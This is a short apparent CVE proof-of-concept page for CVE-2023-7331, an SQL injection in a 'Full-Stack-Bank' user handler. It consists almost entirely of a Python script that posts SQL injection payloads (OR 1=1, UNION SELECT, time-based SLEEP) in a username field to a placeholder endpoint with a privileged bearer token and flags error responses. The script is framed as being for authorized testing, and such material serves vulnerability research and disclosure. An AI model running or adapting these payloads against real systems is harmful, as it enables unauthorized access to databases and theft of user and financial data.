CVE-2023-7331 PKrystian Full-Stack-Bank User Handler SQL注入漏洞

import requests # CVE-2023-7331 SQL Injection PoC # Target: PKrystian Full-Stack-Bank User Handler Component # Note: This is for authorized security testing only TARGET_URL = "http://target-host/api/user/handler" def test_sql_injection(): """ Test for SQL injection vulnerability in User Handler Replace TARGET_URL with actual vulnerable endpoint """ # Basic SQL injection test payload payloads = [ "'", "' OR '1'='1", "' OR '1'='1' --", "' UNION SELECT NULL--", "' AND SLEEP(5)--" ] headers = { 'Content-Type': 'application/json', 'Authorization': 'Bearer <high-privilege-token>' } for payload in payloads: # Example POST request with injectable parameter data = { 'username': payload, 'action': 'query' } try: response = requests.post( TARGET_URL, json=data, headers=headers, timeout=10 ) # Check for SQL error indicators if 'sql' in response.text.lower() or 'error' in response.text.lower(): print(f"[+] Potential SQL Injection detected with payload: {payload}") print(f"[+] Response: {response.text[:200]}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("CVE-2023-7331 SQL Injection Test") print("Author: Security Researcher") test_sql_injection()